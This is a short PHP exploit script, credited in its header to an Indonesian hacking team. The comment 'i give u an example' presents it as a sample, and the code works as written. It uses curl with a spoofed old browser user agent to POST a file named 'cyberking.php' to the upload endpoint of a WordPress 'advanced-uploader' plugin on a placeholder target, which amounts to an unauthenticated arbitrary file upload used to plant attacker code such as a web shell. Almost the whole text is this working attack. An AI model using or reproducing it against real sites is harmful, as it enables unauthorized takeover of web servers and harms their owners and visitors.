/* SIMPLE LOGIC FOR UPLOAD SOME UR FILE i give u an example :p */ /* CYBERKING - INDONESIAN BACKTRACK TEAM http://indnesianbacktrack.or.id http://cyberking.id */ <?php $ngaplodData = array(); $ngaplodData['file'] = "cyberking.php"; // file u want to upload $mrc = curl_init(); curl_setopt($mrc, CURLOPT_URL, "http:/[target].com/wp-content/plugins/advanced-uploader/upload.php"); // on wordpress advanced uploader curl_setopt($mrc, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($mrc, CURLOPT_POST, 1); curl_setopt($mrc, CURLOPT_POSTFIELDS, $ngaplodData ); $cisme = curl_exec ($mrc); curl_close($mrc); unset($mrc); echo $cisme; ?>
Comments